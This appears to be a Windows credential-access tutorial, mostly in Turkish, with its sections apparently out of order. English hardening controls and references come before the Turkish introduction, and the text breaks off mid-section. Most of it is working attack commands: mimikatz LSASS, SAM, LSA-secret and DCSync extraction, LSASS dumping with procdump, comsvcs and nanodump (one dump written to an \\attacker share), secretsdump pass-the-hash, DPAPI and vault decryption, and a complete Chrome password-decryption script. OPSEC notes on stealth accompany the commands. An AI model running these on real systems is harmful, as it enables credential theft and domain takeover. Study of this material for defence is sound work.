- LAPS (Local Administrator Password Solution) for unique local admin passwords
- Monitor SYSVOL for lingering GPP XML files with cPassword
9.5 Additional Hardening Controls
# Enable Windows Defender Application Control (WDAC)
# Blocks unsigned/untrusted binaries — prevents loading of attack tools
# Configure LAPS for all workstations
# Unique 256-bit random passwords for local Administrator account
Install-Module AdmPwd.PS
Update-AdmPwdADSchema
Set-AdmPwdComputerSelfPermission -OrgUnit "OU=Workstations,DC=corp,DC=local"
# Block credential theft via Attack Surface Reduction (ASR) rules
# Rule: Block credential stealing from Windows local security authority subsystem
Set-MpPreference -AttackSurfaceReductionRules_Ids 9e6c4e1f-7d60-472f-ba1a-a39ef669e4b0 -AttackSurfaceReductionRules_Actions Enabled
# Enforce Protected Users security group for privileged accounts
# Members cannot use: NTLM, WDigest, CredSSP, unconstrained delegation
Add-ADGroupMember -Identity "Protected Users" -Members "DA_jsmith","SA_backup"
10. Attack Chain: Putting It All Together
A realistic credential access attack chain in a domain environment might look like this:
Phase 1 — Initial Access: Phishing or public-facing exploit gives workstation access as a low-privilege domain user.
Phase 2 — Local Privilege Escalation: Token impersonation, Potato attacks, or UAC bypass to obtain local admin or SYSTEM.
Phase 3 — Local Credential Harvest:
lsadump::sam→ local NT hashes (may include shared admin passwords)vault::list+vault::cred→ Credential Manager (may contain domain creds)SharpChrome.exe logins→ browser passwords (may include internal app creds)
Phase 4 — Lateral Movement: Using harvested creds to reach more systems. Prioritize jump servers, admin workstations, and servers with privileged sessions.
Phase 5 — Domain Escalation:
- On a machine where a DA has logged in:
sekurlsa::logonpasswords→ DA NT hash or TGT - Or:
lsadump::dcsync /domain:corp.local /user:krbtgtif DCSync rights obtained
Phase 6 — Persistence:
- Golden Ticket (krbtgt hash) — valid 10 years, survives password changes
- Silver Ticket (service account hash) — service-specific, harder to detect
- Domain backup key export → offline DPAPI decryption forever
11. References and Resources
- Benjamin Delpy (gentilkiwi): mimikatz — github.com/gentilkiwi/mimikatz
- SpecterOps: SharpDPAPI, SharpChrome — github.com/GhostPack
- Impacket (SecureAuth): secretsdump.py, dpapi.py — github.com/fortra/impacket
- MITRE ATT&CK: T1003 OS Credential Dumping — attack.mitre.org/techniques/T1003/
- MS14-025: GPP Credentials Advisory — Microsoft Security Bulletin
- harmj0y: A Guide to Attacking Domain Trusts / DPAPI Primer — blog.harmj0y.net
- Mark Russinovich: ProcDump, Sysinternals Suite — docs.microsoft.com
- gentilkiwi: DPAPI avec domaine — mimikatz wiki / blog.gentilkiwi.com
- Will Schroeder / SpecterOps: Certified Pre-Owned (AD CS attacks) — posts.specterops.io
- SwiftOnSecurity: Sysmon config — github.com/SwiftOnSecurity/sysmon-config
- nanodump: github.com/helpsystems/nanodump
- DonPAPI: github.com/login-securite/DonPAPI
- HackBrowserData: github.com/moonD4rk/HackBrowserData
- LaZagne: github.com/AlessandroZ/LaZagne
Windows, kimlik bilgilerini onlarca farklı yerde saklar. Bir etki alanı ortamında çalışan tek bir Windows iş istasyonunda; LSASS belleğinde NT hash'leri ve Kerberos biletleri, SAM veritabanında yerel hesap hash'leri, DPAPI korumasıyla tarayıcı şifreleri, Credential Manager'da ağ kimlik bilgileri ve SYSVOL'da eski GPP şifreleri aynı anda var olabilir. Bu karmaşıklık, savunucular için bir baş ağrısı, saldırganlar için ise bir altın maden gibidir.
2011 yılında Fransız araştırmacı Benjamin Delpy, "mimikatz" adını verdiği aracı yayınladığında Windows güvenliği dünyası kökten değişti. Delpy, Microsoft'un "cleartext şifreler bellekte saklanamaz" iddiasının aksine, Windows'un WDigest kimlik doğrulama protokolü aracılığıyla cleartext şifreleri LSASS belleğinde tuttuğunu kanıtladı. O günden bu yana mimikatz, penetrasyon testlerinin ve gerçek saldırıların vazgeçilmez aracı haline geldi; MITRE ATT&CK T1003 (OS Credential Dumping) teknik ailesi ise bu saldırı kategorisini resmi olarak belgeledi.
Bu yazıda Windows kimlik bilgisi erişimini derinlemesine inceleyeceğiz: LSASS'ın SSP mimarisi, DPAPI'nin anahtar hiyerarşisi, SAM ve NTDS dump teknikleri, Credential Manager kötüye kullanımı, Chrome ve Firefox şifre şifre çözme mekanizmaları ve GPP kimlik bilgileri. Her teknik için gerçek komutlar, OPSEC değerlendirmeleri ve tespit rehberi sunacağız.
1. LSASS (Local Security Authority Subsystem Service) Derinlemesine
LSASS, Windows'un kimlik doğrulama altyapısının kalbidir. Tüm oturum açma işlemlerini yönetir, Kerberos biletlerini işler, NTLM challenge-response protokolünü uygular ve kullanıcı oturumlarıyla ilişkili kimlik bilgilerini bellekte tutar. Process PID'i genellikle 600'lü aralıktadır (sistem yapılandırmasına göre değişir) ve C:\Windows\System32\lsass.exe konumunda bulunur.
LSASS'ın kritik özelliği, farklı kimlik doğrulama protokollerini desteklemek için dinamik olarak yüklenebilen modüller olan Security Support Provider (SSP)'leri kullanmasıdır. Her SSP, farklı türde kimlik bilgilerini bellekte tutar ve bu kimlik bilgilerine erişmek, o SSP'nin sızdırılacak veriyi barındırdığı anlamına gelir.
1.1 Security Support Providers (SSP) Detayları
msv1_0.dll — NTLM Kimlik Doğrulaması
NTLM kimlik doğrulamasını yöneten modül. Bellekte şunları tutar:
- NT hash: Kullanıcı şifresinin MD4 hash'i. Pass-the-Hash saldırılarında doğrudan kullanılabilir.
- LM hash: Eski sistemlerde hâlâ bulunabilir. Kırılması çok kolaydır.
- NTLMv1/v2 challenge-response: NTLM el sıkışmasında kullanılan oturum hash'leri.
- Oturum anahtarları: SMB imzalama ve şifreleme için kullanılan anahtar materyali.
mimikatz komutu: sekurlsa::msv veya sekurlsa::logonpasswords
kerberos.dll — Kerberos Protokolü
Active Directory ortamlarında birincil kimlik doğrulama protokolü olan Kerberos'u yönetir. Bellekte şunları tutar:
- TGT (Ticket Granting Ticket): AS-REP'ten alınan bilet. Domain Controller ile oturum açmadan kullanılabilir.
- TGS (Ticket Granting Service): Belirli servislere erişim için kullanılan servis biletleri.
- Oturum anahtarları: TGT ve TGS ile ilişkili şifreleme anahtarları.
- APREQ token'ları: Servis kimlik doğrulaması için hazırlanmış token'lar.
mimikatz komutları: sekurlsa::kerberos, kerberos::list /export
Önemli: Kerberos biletleri pass-the-ticket saldırısında kullanılabilir. TGT'ye sahipseniz, o kullanıcı adına herhangi bir TGS alabilirsiniz. krbtgt hash'i ele geçirilirse Golden Ticket oluşturulabilir.
wdigest.dll — HTTP Digest Kimlik Doğrulaması
HTTP Digest kimlik doğrulaması için tasarlanmış bu modül, protokolün gereksinimi nedeniyle cleartext şifreleri bellekte tutmak zorunda kalıyordu. Benjamin Delpy'nin keşfettiği ve dünyayı sarsan güvenlik açığı tam olarak buydu.
- Windows 7 / Server 2008: Varsayılan AÇIK. Cleartext şifreler LSASS belleğinde bulunur.
- Windows 8.1 / Server 2012 R2+: Varsayılan KAPALI. KB2871997 ile devre dışı bırakıldı.
- Yeniden etkinleştirme:
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential = 1
Saldırganlar bu registry anahtarını 1'e ayarlayıp kurbanın yeniden oturum açmasını bekleyerek cleartext şifreyi elde edebilir. Ancak bu işlem kayıt bırakır.
mimikatz komutu: sekurlsa::wdigest
tspkg.dll — Terminal Services / RDP Kimlik Bilgileri
Terminal Services kimlik doğrulamasını yönetir. Aktif RDP oturumları varsa bellekte cleartext kullanıcı adı ve şifre tutabilir. Özellikle jump server veya RDP gateway sistemlerinde değerlidir.
mimikatz komutu: sekurlsa::tspkg
livessp.dll — Microsoft Hesabı (Live ID)
Windows 8 ve 8.1 döneminde Microsoft hesabı kimlik doğrulaması için kullanılan SSP. Günümüzde büyük ölçüde cloudap.dll tarafından yerini almıştır.
mimikatz komutu: sekurlsa::livessp
cloudap.dll — Azure AD / Windows Hello
Modern Windows cihazlarında Azure Active Directory (Entra ID) kimlik doğrulamasını yönetir. Bellekte şunları tutar:
- PRT (Primary Refresh Token): Azure AD oturumu için kullanılan uzun ömürlü token. Bu token ile yeni access token ve refresh token elde edilebilir.
- Windows Hello anahtarları: PIN veya biyometrik kimlik doğrulama için kullanılan özel anahtarlar.
- Nonce'lar ve proof token'ları: Azure AD ile iletişim için kullanılan kriptografik materyaller.
mimikatz komutu: sekurlsa::cloudap
Not: PRT ele geçirilmesi, MFA atlayarak Azure portalı, Microsoft 365, Teams ve tüm Azure kaynaklarına erişim imkânı verebilir. Bu, "Pass-the-PRT" saldırısı olarak bilinir.
credssp.dll — Credential Security Support Provider
Network Level Authentication (NLA) ve CredSSP protokolünü yönetir. RDP bağlantılarında tam kimlik bilgilerini uzak sisteme aktarır. Bağlantı kurulduktan sonra bu kimlik bilgileri uzak sistemin LSASS belleğinde belirir.
mimikatz komutu: sekurlsa::credman
1.2 LSASS Dump Teknikleri
LSASS dump için birden fazla yöntem mevcuttur. Her birinin farklı OPSEC profili ve gereksinim düzeyi vardır:
Yöntem 1: Task Manager (GUI)
En kolay ve en gürültülü yöntem. Etkileşimli bir oturum gerektirir.
# Görev Yöneticisi → Ayrıntılar sekmesi → lsass.exe
# Sağ tıklayın → "Döküm dosyası oluştur"
# Çıktı: C:\Users\[kullanıcı]\AppData\Local\Temp\lsass.DMP
# OPSEC: ÇOK YÜKSEK — Sysmon Event 10 tetikler
Yöntem 2: ProcDump (Microsoft İmzalı)
Sysinternals'ın ProcDump aracı Microsoft tarafından dijital imzalanmıştır. Bu, bazı eski AV çözümlerini atlayabilir. Ancak modern EDR'ler bu aracın lsass.exe'ye erişimini algılar.
# Temel kullanım
procdump.exe -ma lsass.exe lsass_dump.dmp
# EULA kabul ettirerek (silent)
procdump.exe -ma -accepteula lsass.exe C:\temp\lsass.dmp
# PID ile (process ismi yerine)
procdump.exe -ma 640 C:\temp\lsass.dmp
# OPSEC: YÜKSEK — Sysmon Event 10, Defender ATP uyarısı
Yöntem 3: comsvcs.dll MiniDump (LOLBin)
Sistemde yerleşik olarak bulunan comsvcs.dll dosyasının MiniDump export fonksiyonunu kullanan bu teknik, ekstra araç gerektirmez — bu yüzden "Living off the Land Binary (LOLBin)" olarak sınıflandırılır.
# PowerShell ile PID al ve dump oluştur
$LSASS = (Get-Process lsass).Id
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump $LSASS C:\temp\lsass.dmp full
# CMD ile tek satır
rundll32 comsvcs.dll MiniDump (wmic process where name="lsass.exe" get processid /value | findstr ProcessId | cut -d= -f2) C:\temp\lsass.dmp full
# Powershell tek satır (obfuscated)
$p=(Get-Process l*s).Id; rundll32 $env:SystemRoot\System32\comsvcs.dll, MiniDump $p $env:TEMP\out.dmp full;Wait-Job -Any
# OPSEC: ORTA — rundll32 + comsvcs kombinasyonu flaglenir
# Sysmon Event 11 (dosya oluşturma), Event 10 (process access)
Yöntem 4: nanodump (PPL Bypass)
nanodump, PPL (Protected Process Light) korumasını bypass eden gelişmiş bir LSASS dump aracıdır. Process handle açmak yerine, işlem fork'lama veya handle çoğaltma tekniklerini kullanır.
# Temel kullanım
nanodump.exe --write C:\temp\lsass.dmp
# PID belirterek
nanodump.exe -p 640 --write C:\temp\lsass.dmp
# Handle duplicate yöntemi (daha gizli)
nanodump.exe --dup --write C:\temp\lsass.dmp
# Uzaktan SMB üzerinden (C2 içinde)
nanodump.exe -p 640 --dup --write \\attacker\share\lsass.dmp
# OPSEC: DÜŞÜK — kernel düzeyinde olaylar, kullanıcı modu denetimi atlatılır
# PPL bypass için kernel driver veya exploit gerekebilir
Yöntem 5: SilentProcessExit
Windows hata raporlama mekanizmasını kullanan gizli bir teknik:
# Registry anahtarları ile dump tetikleme
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe" /v ReportingMode /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe" /v MonitorProcess /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f
# Sonra lsass.exe'yi öldür (dikkatli olun — sistem çöker!)
# Daha güvenli: farklı bir process üzerinde deneyin
# OPSEC: YÜKSEK — registry değişikliği + process kill çok dikkat çekicidir
Yöntem 6: Impacket secretsdump (Uzaktan)
# Kullanıcı adı/şifre ile
python3 secretsdump.py corp.local/administrator:'Password123'@10.10.10.10
# NT hash ile (Pass-the-Hash)
python3 secretsdump.py -hashes :aad3b435b51404eeaad3b435b51404ee:NT_HASH_HERE administrator@10.10.10.10
# Kerberos bileti ile
python3 secretsdump.py -k -no-pass corp.local/administrator@10.10.10.10
# Sadece SAM
python3 secretsdump.py -sam SAM -system SYSTEM LOCAL
# OPSEC: DÜŞÜK/ORTA — ağ üzerinden, yerel process erişimi yok
# DCSync modu: Event 4662 tetikler
1.3 mimikatz ile Hash Çıkarma
Dump dosyası elde edildikten sonra veya doğrudan sistem üzerinde mimikatz kullanılarak hash'ler çıkarılır:
# Önce debug yetkisi al (SeDebugPrivilege — SYSTEM gerektirir)
privilege::debug
# Tüm oturum açmış kullanıcıların kimlik bilgilerini al
# NT hash + cleartext (WDigest aktifse) + Kerberos biletleri
sekurlsa::logonpasswords
# Sadece WDigest cleartext şifreler
sekurlsa::wdigest
# Kerberos TGT ve TGS biletlerini al
sekurlsa::kerberos
# RDP (TS) kimlik bilgilerini al
sekurlsa::tspkg
# NTLM kimlik bilgilerini al
sekurlsa::msv
# Azure AD PRT token'larını al
sekurlsa::cloudap
# Credential Manager kimlik bilgilerini al
sekurlsa::credman
# ============================================================
# Dump dosyasından offline çıkarma (sistemde mimikatz çalıştırmadan)
# ============================================================
# Önce dump dosyasını yükle
sekurlsa::minidump C:\temp\lsass.dmp
# Artık tüm komutlar dump'tan okur
sekurlsa::logonpasswords
# SAM veritabanından yerel hash'ler
lsadump::sam
# LSA secrets (servis hesabı şifreleri, auto-logon)
lsadump::secrets
# Cached domain credentials (DCC2 formatı)
lsadump::cache
# Domain backup key al
lsadump::backupkeys /system:DC01.corp.local /export
# DCSync — belirli bir kullanıcının hash'ini DC'den çek
lsadump::dcsync /domain:corp.local /user:administrator
lsadump::dcsync /domain:corp.local /all /csv
1.4 Credential Guard
Microsoft, Windows 10 sürüm 1511'den itibaren Credential Guard özelliğini sundu. Bu özellik, Hyper-V tabanlı sanallaştırma kullanarak LSASS'ı izole bir ortamda çalıştırır (VSM — Virtual Secure Mode / VTL1).
Credential Guard'ın koruduğu şeyler:
- NT hashes (msv1_0.dll) — artık VTL1'de, kullanıcı modundan erişilemez
- Kerberos TGT/TGS — artık VTL1'de
- WDigest cleartext şifreler — tamamen engellendi
Credential Guard'ın KORUMАDIĞI şeyler:
- SAM veritabanındaki yerel hash'ler
- NTDS.dit (domain hash'leri)
- DPAPI master key'leri
- Tarayıcı şifreleri
- Ağ üzerinden yakalanan NTLM hash'leri (responder vb.)
- Credential Manager vault girişleri
Credential Guard etkinleştirme durumunu kontrol etme:
# PowerShell ile kontrol
(Get-CimInstance -Namespace root/Microsoft/Windows/DeviceGuard -Class Win32_DeviceGuard).SecurityServicesRunning
# 1 = Credential Guard aktif, 2 = HVCI aktif
Registry kontrolü
reg query "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard" /v EnableVirtualizationBasedSecurity
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v LsaCfgFlags
2. SAM Veritabanı (Security Account Manager)
SAM veritabanı, Windows'un yerel kullanıcı hesaplarının kimlik bilgilerini depoladığı kritik bir dosyadır. Fiziksel konum: C:\Windows\System32\config\SAM
SAM dosyası, sisteme özel bir boot anahtarı (syskey/bootkey) ile şifrelenmiştir. Bu anahtarı çözmek için SYSTEM hive dosyasına da ihtiyaç vardır (C:\Windows\System32\config\SYSTEM).
Çalışan bir sistemde SAM dosyası kilitlidir; Volume Shadow Copy (VSS) veya registry export ile kopyalanmalıdır.
2.1 SAM Dump Teknikleri
Volume Shadow Copy (VSS) ile
# VSS snapshot oluştur
vssadmin create shadow /for=C:
# Shadow copy yolunu bul
vssadmin list shadows
# SAM ve SYSTEM'i kopyala (shadow copy yolunu kullan)
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\temp\SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\SYSTEM
# Temizlik
vssadmin delete shadows /shadow:{GUID}
# Impacket ile hash çıkar
python3 secretsdump.py -sam C:\temp\SAM -system C:\temp\SYSTEM LOCAL
Registry Export ile (etkileşimli oturumda)
# Registry üzerinden SAM ve SYSTEM export et
reg save HKLM\SAM C:\temp\SAM.hive
reg save HKLM\SYSTEM C:\temp\SYSTEM.hive
reg save HKLM\SECURITY C:\temp\SECURITY.hive
# Yerel impacket analizi
python3 secretsdump.py -sam SAM.hive -security SECURITY.hive -system SYSTEM.hive LOCAL
mimikatz ile (canlı sistem)
privilege::debug
token::elevate # SYSTEM token al
lsadump::sam # SAM'dan hash'leri çıkar
2.2 LSA Secrets
LSA Secrets, HKLM\SECURITY\Policy\Secrets registry anahtarında saklanan ve sistem düzeyindeki sırları içeren özel bir yapıdır. Bunlar arasında:
- _SC_ServiceName: Windows servislerinin çalıştığı hesapların şifreleri
- DefaultPassword: Otomatik oturum açma şifresi (auto-logon)
- NL$KM: Cached domain credentials için şifreleme anahtarı
- $MACHINE.ACC: Domain makine hesabının şifresi (her 30 günde değişir)
- DPAPI_SYSTEM: Sistem düzeyinde DPAPI master key'i
# mimikatz ile LSA Secrets çıkar
privilege::debug
token::elevate
lsadump::secrets
# Impacket ile
python3 secretsdump.py corp.local/administrator:'Password123'@10.10.10.10 -just-lsa
2.3 Cached Domain Credentials (DCC2)
Windows, domain controller'a ağ bağlantısı olmadığında bile kullanıcıların oturum açabilmesi için son 10 domain kimlik bilgisini önbelleğe alır. Bunlar HKLM\SECURITY\Cache altında NL$1, NL$2 vb. adlarla saklanır.
Hash formatı: DCC2 (MS-Cache v2) — hashcat modu -m 2100
DCC2 hash'leri, NTLM hash'lerinin aksine ağ kimlik doğrulamasında kullanılamaz (Pass-the-Hash çalışmaz). Ancak kırılarak cleartext şifreye ulaşılabilir. Kırma işlemi Kerberoast'tan çok daha yavaştır.
# mimikatz ile cached credentials
privilege::debug
token::elevate
lsadump::cache
# Hashcat ile kırma
hashcat -m 2100 dcc2_hash.txt wordlist.txt
# Format: $DCC2$10240#username#hash
# Örnek
hashcat -m 2100 '$DCC2$10240#administrator#a4bcd...' rockyou.txt --rules best64.rule
3. DPAPI (Data Protection API) Derinlemesine
DPAPI, Microsoft'un Windows'ta kullanıcı sırlarını saklamak için geliştirdiği şifreleme altyapısıdır. 1999'dan bu yana Windows'ta mevcuttur ve kullanımı son derece yaygındır: Chrome şifreleri, Credential Manager, Wi-Fi şifreleri, EFS anahtarları, sertifika özel anahtarları ve daha fazlası DPAPI ile korunur.
DPAPI'nin temel prensibi: şifreleme anahtarı kullanıcının şifresinden türetilir. Bu sayede kullanıcı oturum açtığında veriye erişebilir, oturum kapalıyken veriye erişilemez. Ancak bu tasarımın önemli bir zayıflığı vardır: domain backup key.
3.1 DPAPI Anahtar Hiyerarşisi
Seviye 1: Domain Backup Key
Active Directory ortamlarında, Domain Controller'da özel bir "DPAPI backup key" saklanır. Bu anahtar, domain üzerindeki tüm kullanıcıların master key'lerini şifrelemek için kullanılır. Anahtara sahip olan kişi, domain'deki tüm kullanıcıların DPAPI sırlarını çözebilir.
- Konum: DC'nin LSASS belleğinde ve AD veritabanında
- Tüm DC'lere replike edilir
- Domain Admin hakları gerektirir
- Yıllar boyunca değişmez (dikkat!)
# mimikatz ile domain backup key çıkar
lsadump::backupkeys /system:DC01.corp.local /export
# Çıktı: ntds_capi_*.pvk ve ntds_legacyapi_*.pvk dosyaları
# Impacket dpapi.py ile
python3 dpapi.py backupkeys --export -t corp.local/administrator:'Password123'@DC01.corp.local
Seviye 2: User Master Key
Her kullanıcının bir veya birden fazla master key'i vardır. Bu key'ler kullanıcı profil klasöründe GUID adlı dosyalar olarak saklanır:
# Master key konumu
%APPDATA%\Microsoft\Protect\{SID}\{GUID}
# Örnek:
C:\Users\jdoe\AppData\Roaming\Microsoft\Protect\S-1-5-21-...-1001\{3a4b5c6d-...}
Master key, kullanıcı şifresinden ve SID'den türetilir (PBKDF2 + HMAC-SHA1). Domain ortamında domain backup key ile de şifrelenmiş bir kopyası bulunur.
Seviye 3: DPAPI_BLOB
Her şifrelenmiş veri parçası bir DPAPI_BLOB formatındadır. Bu blob'un başlığında hangi master key GUID'inin kullanıldığı yazar, böylece şifre çözme sırasında doğru master key bulunabilir.
Seviye 4: Korunan Sır
Blob şifrelendikten sonra ortaya çıkan gerçek sır: tarayıcı şifresi, Wi-Fi anahtarı, sertifika özel anahtarı vb.
3.2 DPAPI Saldırı Teknikleri
Domain Backup Key ile Toplu Çözme
# 1. Backup key'i al (DA hakları gerekli)
python3 dpapi.py backupkeys --export -t corp.local/administrator:'Password123'@DC01
# veya mimikatz:
lsadump::backupkeys /system:DC01.corp.local /export
# 2. SharpDPAPI ile tüm domain kullanıcılarının sırlarını çöz
# (Master key'lerini backup key ile çöz, sonra blob'ları decrypt et)
SharpDPAPI.exe triage /pvk:backup_key.pvk
# Sadece Credential Manager vault girişleri
SharpDPAPI.exe vaults /pvk:backup_key.pvk
# Chrome şifreleri
SharpDPAPI.exe logins /pvk:backup_key.pvk
# Sertifikalar
SharpDPAPI.exe certificates /pvk:backup_key.pvk
DonPAPI (Linux'tan)
# Linux saldırı makinasından tüm DPAPI sırları çek
python3 DonPAPI.py corp.local/administrator:'Password123'@10.10.10.10
# Tüm domain'i tara
python3 DonPAPI.py corp.local/administrator:'Password123'@10.10.10.0/24
# Credential dosyaları var mı?
python3 DonPAPI.py corp.local/administrator:'Password123'@10.10.10.10 --credz
Çevrimdışı DPAPI Analizi
# Belirli bir DPAPI blob'u çöz
mimikatz: dpapi::blob /in:C:\temp\blob.bin /masterkey:<hex_masterkey>
# Credential dosyası çöz
mimikatz: dpapi::cred /in:C:\Users\jdoe\AppData\Roaming\Microsoft\Credentials\{GUID}
# Master key çöz (kullanıcı şifresi biliniyorsa)
mimikatz: dpapi::masterkey /in:C:\...\{GUID} /password:Password123
# Master key çöz (domain backup key ile)
mimikatz: dpapi::masterkey /in:C:\...\{GUID} /pvk:backup.pvk
3.3 Sistem Düzeyinde DPAPI
Sistem (MACHINE) düzeyindeki DPAPI, SYSTEM hesabı bağlamındaki sırları korur. Şifreleme anahtarı makine SID'inden ve LSA boot key'inden türetilir. Bu sırlar arasında:
- Zamanlanmış görev şifreleri
- Wi-Fi PSK anahtarları (
C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\) - RDP kaydedilmiş bağlantı şifreleri (SYSTEM bağlamında)
- DPAPI_SYSTEM sırrı (LSA Secrets'ta)
# Sistem DPAPI master key çöz (SYSTEM yetkisiyle)
mimikatz:
privilege::debug
token::elevate
dpapi::masterkey /in:"C:\Windows\System32\Microsoft\Protect\S-1-5-18\{GUID}" /system
# Wi-Fi şifrelerini çöz
netsh wlan export profile folder=C:\temp key=clear
# veya SharpDPAPI:
SharpDPAPI.exe wifi
4. Tarayıcı Kimlik Bilgileri
Modern tarayıcılar, kullanıcı kolaylığı için şifreleri yerel olarak saklar. Bu depolama mekanizmaları, farklı şifreleme yöntemleri kullansa da sonuçta işletim sistemi düzeyi sırlara (DPAPI veya NSS) dayandığından saldırganlar için değerli hedeflerdir.
4.1 Chrome / Edge / Chromium Tabanlı Tarayıcılar
Chrome'un şifre depolama mimarisi:
- Login Data: SQLite veritabanı —
%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data - Local State: JSON dosyası —
%LOCALAPPDATA%\Google\Chrome\User Data\Local State - Şifreleme: AES-256-GCM (Chrome 80+). Şifreleme anahtarı Local State'de DPAPI blob olarak korunmuş.
Şifre çözme akışı:
- Local State JSON'dan
os_crypt.encrypted_keyalanını al - Base64 decode et →
DPAPI\x01prefix'li DPAPI blob - CryptUnprotectData() ile DPAPI blob'u çöz → AES-256 anahtarı
- Login Data SQLite'tan
loginstablosunu sorgula →password_valuesütunu - AES-256-GCM ile şifreyi çöz (nonce ilk 12 byte, prefix
v10)
# HackBrowserData (cross-platform)
./hack-browser-data -b chrome -o output/
./hack-browser-data -b all -o output/
# SharpChrome (Windows C# tool — SpecterOps)
SharpChrome.exe logins # tüm kayıtlı giriş bilgileri
SharpChrome.exe cookies # oturum çerezleri
SharpChrome.exe history # tarama geçmişi
SharpChrome.exe logins /server:dc01.corp.local # uzaktan
# Python ile manuel çözme
import sqlite3, json, base64
from Cryptodome.Cipher import AES
import win32crypt
# Local State'den AES anahtarı al
with open(r'%LOCALAPPDATA%\Google\Chrome\User Data\Local State') as f:
local_state = json.load(f)
encrypted_key = base64.b64decode(local_state['os_crypt']['encrypted_key'])[5:] # DPAPI prefix'i atla
aes_key = win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)[1]
# Login Data'dan şifreli parolaları al
conn = sqlite3.connect(r'%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data')
cursor = conn.execute("SELECT origin_url, username_value, password_value FROM logins")
for url, username, encrypted_password in cursor.fetchall():
nonce = encrypted_password[3:15] # v10 sonrası: 3 byte prefix + 12 byte nonce
ciphertext = encrypted_password[15:-16]
tag = encrypted_password[-16:]
cipher = AES.new(aes_key, AES.MODE_GCM, nonce)
plaintext = cipher.decrypt_and_verify(ciphertext, tag)
print(f"{url} | {username} | {plaintext.decode()}")
# DonPAPI (Linux'tan, domain kullanıcısı olarak)
python3 DonPAPI.py corp.local/jdoe:'Password123'@10.10.10.50
4.2 Firefox / Firefox Tabanlı Tarayıcılar
Firefox, Chromium'dan farklı bir şifreleme altyapısı olan NSS (Network Security Services) kullanır:
- key4.db: NSS anahtar veritabanı (SQLite formatı)
- logins.json: Şifreli giriş bilgileri (JSON formatı)
- Şifreleme: 3DES-CBC veya AES-256-CBC, NSS ile
- Master Password: Opsiyonel ek koruma. Ayarlanmamışsa makine kimlik materyali kullanılır.
# Firefox profil konumu
# Windows: %APPDATA%\Mozilla\Firefox\Profiles\{profile}.default-release\
# Linux: ~/.mozilla/firefox/{profile}.default-release/
# firefox_decrypt (Python)
python3 firefox_decrypt.py /path/to/firefox/profile/
# Master password sorulacak (yoksa boş bırakın)
# firepwd (Python — eski profiller için de çalışır)
python3 firepwd.py -d /path/to/profile/ -p master_password
# SharpWeb (C# — Windows'tan)
SharpWeb.exe all
# LaZagne (çok tarayıcılı)
python3 laZagne.py browsers
python3 laZagne.py all # tüm sırlar
4.3 OPSEC Notu: Tarayıcı Şifrelerine Erişim
Chrome'un Login Data dosyası, tarayıcı çalışırken kilitlenir. Dosyayı kopyalayarak analiz yapabilirsiniz:
# Chrome çalışırken dosyayı kopyala
copy "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data" C:\temp\LoginData
# Ardından kopyayı analiz et (orijinal kilitli olsa bile)
# SharpChrome kopyalama işlemini otomatik yapar
5. Windows Credential Manager (Vault)
Windows Credential Manager, ağ kimlik bilgilerini, web sitesi şifrelerini ve genel uygulama kimlik bilgilerini DPAPI korumasıyla saklar. Konum: %APPDATA%\Microsoft\Credentials\ ve %LOCALAPPDATA%\Microsoft\Credentials\
Vault girişleri iki kategoriye ayrılır:
- Windows Credentials: Ağ paylaşımları, Uzak Masaüstü bağlantıları için kimlik bilgileri
- Certificate-Based Credentials: Sertifika tabanlı kimlik bilgileri
- Generic Credentials: Uygulama düzeyinde kaydedilmiş kullanıcı adı/şifre çiftleri
# Komut satırından kayıtlı kimlik bilgilerini listele
cmdkey /list
# PowerShell ile Vault'u oku (Windows Runtime API)
[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]
$vault = New-Object Windows.Security.Credentials.PasswordVault
$vault.RetrieveAll() | ForEach-Object {
$_.RetrievePassword()
[PSCustomObject]@{
UserName = $_.UserName
Resource = $_.Resource
Password = $_.Password
}
}
# mimikatz ile Vault sırlarını çöz
vault::list # tüm vault girişlerini listele
vault::cred /patch # kimlik bilgilerini çöz
# SharpDPAPI ile
SharpDPAPI.exe vaults
SharpDPAPI.exe credentials
# Fiziksel Credential dosyalarını çöz
# Konum: %APPDATA%\Microsoft\Credentials\ ve %LOCALAPPDATA%\Microsoft\Credentials\
dpapi::cred /in:"%APPDATA%\Microsoft\Credentials\{GUID}" /masterkey:<hex>
Credential Manager özellikle değerlidir çünkü kullanıcılar genellikle domain admin hesapları dahil kritik sistem şifrelerini burada kaydeder.
6. GPP Credentials (MS14-025)
Group Policy Preferences (GPP), sistem yöneticilerinin domain genelinde yapılandırma değişiklikleri yapmasına olanak tanır. 2006-2014 yılları arasında yaygın olarak kullanılan bir özellik, yerel yönetici hesabı oluşturma veya şifre ayarlama için Group Policy XML dosyalarında cPassword alanını kullanıyordu.
Bu XML dosyaları SYSVOL'da saklanır ve domain üyesi olan herkes okuyabilir. Microsoft, şifreyi AES-256 ile şifrelemişti — ancak şifreleme anahtarını da MSDN belgelerinde herkese açık olarak yayınlamıştı!
Microsoft bu açığı 2014'te MS14-025 yaması ile giderdi (GPP artık cPassword alanını kullanamıyor), ancak miras konfigürasyonlar hâlâ SYSVOL'da duruyor olabilir.
# SYSVOL'da cPassword içeren XML dosyalarını ara
findstr /S /I cPassword \\CORP.LOCAL\SYSVOL\CORP.LOCAL\Policies\*.xml
# CrackMapExec ile otomatik kontrol
crackmapexec smb 10.10.10.10 -u jdoe -p 'Password123' -M gpp_autologin
crackmapexec smb 10.10.10.10 -u jdoe -p 'Password123' -M gpp_password
# Metasploit modülü
use post/windows/gather/credentials/gpp
use auxiliary/scanner/smb/smb_enumgpp
# Impacket ile
